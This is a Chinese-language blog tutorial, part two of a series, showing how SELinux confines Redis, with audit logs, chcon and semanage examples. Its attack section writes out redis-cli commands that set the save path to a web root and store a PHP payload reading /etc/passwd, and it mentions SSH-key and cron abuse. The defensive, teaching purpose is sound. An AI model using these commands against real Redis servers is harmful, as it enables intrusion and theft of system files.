SeLinux理論在Redis下實(shí)踐:第2部分

1. 介紹

?? Redis是一個(gè)廣泛使用的Key-Value存儲系統(tǒng),主要用于處理各個(gè)高并發(fā)場景下的數(shù)據(jù)讀取加速,與MemCache不同的是,Redis具有多種數(shù)據(jù)結(jié)構(gòu)和靈活管理,而且還支持?jǐn)?shù)據(jù)持久化。在Redis中,我們可以通過靈活地動(dòng)態(tài)修改持久化的存儲路徑的特性,該特性也帶來一個(gè)問題,當(dāng)我們的數(shù)據(jù)中存在一些惡意代碼時(shí),那么該惡意代碼就能存儲到我們指定的路徑,從而實(shí)現(xiàn):SSH免密、定時(shí)任務(wù)啟動(dòng)、修改指定文件信息。
?? 在本文,我們將通過Redis這個(gè)特性來放置一段惡意代碼,并成功獲取我們需要的數(shù)據(jù)來展示該特性帶來的一些問題,然后我們通過 “SeLinux理論在Redis下實(shí)踐:第1部分
” 介紹的Selinux來限制該特性帶來的問題,最后我將列出在這個(gè)過程中遇到的一些問題回答和總結(jié),希望通過該文讓大家認(rèn)識到Selinux的先進(jìn)安全管理機(jī)制,如果我們運(yùn)用得恰當(dāng),它將能將許多0 Day 漏洞盡可能限制在一定的范圍。

2. 實(shí)踐目的

?? 目前有一些linux教程,經(jīng)常指導(dǎo)我們將selinux默認(rèn)關(guān)閉,其實(shí)對于linux的整體安全就會大打折扣。在這個(gè)實(shí)踐中,我主要通過利用Redis持久化數(shù)據(jù)到任意目錄文件的漏洞,在一個(gè)沒有開啟selinux的環(huán)境中,將一個(gè)可以讀取/etc/passwd的腳本寫到網(wǎng)站的運(yùn)行目錄,從而驗(yàn)證沒有selinux下的我們可以讀取一些敏感數(shù)據(jù)的風(fēng)險(xiǎn)點(diǎn),然后通過一步步地實(shí)踐如何在selinux下進(jìn)行防護(hù)該漏洞,以讓大家對selinux有更深的一個(gè)認(rèn)識。

3. 實(shí)驗(yàn)環(huán)境與背景

操作系統(tǒng): Centos7
WEB服務(wù)器: Apache/2.4.6
PHP: 5.4.16
Redis: 4.0.9
網(wǎng)站目錄: /var/www/html/

192.168.1.18:Redis與web服務(wù)器放置在同一臺機(jī)器。
192.168.1.19:客戶端

4. 如何進(jìn)行越權(quán)操作

為了達(dá)到實(shí)驗(yàn)?zāi)康?,Redis 開啟遠(yuǎn)程訪問的配置,并且無密碼,并且selinux是處于permissive或者disabled狀態(tài)。我們先檢查確認(rèn)服務(wù)端環(huán)境的就緒情況:

root@192.168.1.18# getenforce
Permissive
root@192.168.1.18# ss -antp|grep 6379 
LISTEN     0      511          *:6379                     *:*                   users:(("redis-server",pid=3934,fd=6))

在客戶端使用redis-cli連接到服務(wù)器,并設(shè)置保存路徑及保存文件,將惡意代碼寫入到某個(gè)test中,最后save把該代碼保存到設(shè)定的文件。

root@192.168.1.19 # redis-cli -h 192.168.1.18
192.168.1.18:6379>CONFIG SET dir /var/www/html
192.168.1.18:6379>CONFIG set dbfilename test.php
192.168.1.18:6379>set test  '<?php var_dump(file_get_contents("/etc/passwd"));?>'
192.168.1.18:6379>save

然后,我們運(yùn)行該文件,可以查看到/etc/passwd內(nèi)容


運(yùn)行結(jié)果

以上就是我們通過redis這個(gè)漏洞獲取到敏感數(shù)據(jù)的過程。
通過上面的實(shí)驗(yàn)我們可以實(shí)現(xiàn)很多非法操作,比如文件讀寫,定時(shí)任務(wù)啟動(dòng)等等,雖然可以通過其他方式來規(guī)避這個(gè)問題,比如加密碼之類,但是有一些場景如cluster模式,必須無密碼,而且還擔(dān)心密碼泄露,沒有能基本上解決非法讀取的問題。

5. 如何通過SeLinux來防護(hù):

在服務(wù)端將selinux開啟,將能將該漏洞限制在有限的范圍內(nèi),而不會造成敏感數(shù)據(jù)泄露。

root@192.168.1.18# setenforce 1
root@192.168.1.18# getenforce
Enforcing

此時(shí),我們在客戶端就無法再通過該redis漏洞來獲取敏感數(shù)據(jù)了。

192.168.1.18:6379> save
(error) ERR

??我們查看一下服務(wù)端的selinux日志,可以發(fā)現(xiàn)以下內(nèi)容,證明我們selinux已經(jīng)實(shí)際攔截了。audit2why是一個(gè)selinux的日志分析工具,當(dāng)開啟selinux日志服務(wù)時(shí)(默認(rèn)開啟),日志文件默認(rèn)存放在/var/log/audit/audit.log:

root@192.168.1.18# audit2why < /var/log/audit/audit.log
type=AVC msg=audit(1553166802.997:6749): avc:  denied  { dac_override } for  pid=3934 comm="redis-server" capability=1  scontext=system_u:system_r:redis_t:s0 tcontext=system_u:system_r:redis_t:s0 tclass=capability

    Was caused by:
        Missing type enforcement (TE) allow rule.

        You can use audit2allow to generate a loadable module to allow this access.

??以上就是selinux的強(qiáng)大威力,但是selinux如何更好地為我所用呢?下面以如何將redis持久化數(shù)據(jù)保存到我們指定目錄為例,給大家更加直觀、深刻體會selinux的配置靈活性。
??如果我們想把數(shù)據(jù)文件保存到/data/redis/redis.db,下面提供兩種方式進(jìn)行配置

  1. 在服務(wù)端通過chcon 對該文件的selinux 類型修改為redis_var_run_t。
root@192.168.1.18# mkdir -p /opt/redis/
root@192.168.1.18# touch /opt/redis/redis.db
root@192.168.1.18# ls -Zl /opt/redis/redis.db
-rw-r--r--. 1 unconfined_u:object_r:usr_t:s0   root root 0 Mar 22 11:26 /opt/redis/redis.db
root@192.168.1.18# chcon -t redis_var_run_t /opt/redis/redis.db
root@192.168.1.18# ls -Zl /opt/redis/redis.db
-rw-r--r--. 1 unconfined_u:object_r:redis_var_run_t:s0 root root 0 Mar 22 11:26 /opt/redis/redis.db

然后在客戶端,我們再嘗試一下保持?jǐn)?shù)據(jù)

root@192.168.1.19 # redis-cli -h 192.168.1.18
192.168.1.18:6379>CONFIG SET dir /opt/redis/
192.168.1.18:6379>CONFIG set dbfilename redis.db
192.168.1.18:6379>save
OK
  1. 通過semange fcontext進(jìn)行添加后并重置權(quán)限:
root@192.168.1.18# semanage fcontext -a -t redis_var_run_t "/opt/redis(/.*)?"
root@192.168.1.18# restorecon -Rv /opt/redis/

6. 常見問題:

  1. 為何開啟selinux后,我的redis還是無法防護(hù)呢?
    通過ps -auxZ 查看redis-server 的類型是否為:unconfined_t
root@192.168.1.18# ps auxZ|grep redis
unconfined_u:unconfined_r:unconfined_t:s0 ...

如果是該提示,則是redis-server啟動(dòng)不能通過bash進(jìn)行啟動(dòng),默認(rèn)的 bash 環(huán)境是不受 SELinux 管制的~因?yàn)?bash 并不是什么特別的網(wǎng)絡(luò)服務(wù)!因此,在這個(gè)不受 SELinux 所限制的 bash 程序所產(chǎn)生的文件, 其身份識別大多就是 >unconfined_u 這個(gè)“不受限”用戶啰!
因此,需要通過systemctl start redis 來啟動(dòng)。

  1. 添加的上下文(context)在哪里呢?
    默認(rèn)目錄在:/etc/selinux/targeted/contexts/files
    這里有系統(tǒng)自帶的一些默認(rèn)的上下文資源,而我們自定義的上下文context放置到文件:file_contexts.local

7. 總結(jié):

通過以上的實(shí)驗(yàn),我們可以體驗(yàn)到一個(gè)漏洞的利用威力及其影響面是巨大的。也由于selinux配置靈活性,導(dǎo)致Selinux的配置并不直觀,在一些概念上理解比較抽象,因此很多人都默認(rèn)選擇了關(guān)閉該功能。希望通過這兩篇文章來幫助大家重新認(rèn)識selinux,并希望一起打造更加安全的linux服務(wù)環(huán)境。

8. 參考:

Redis漏洞,遠(yuǎn)程攻擊:https://www.cnblogs.com/shuaiandjun/p/8425994.html
由于時(shí)間關(guān)系,行文可能存在錯(cuò)誤或者有其他建議及問題,歡迎大家與我聯(lián)系:一虛道長(lailaiji@163.com)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容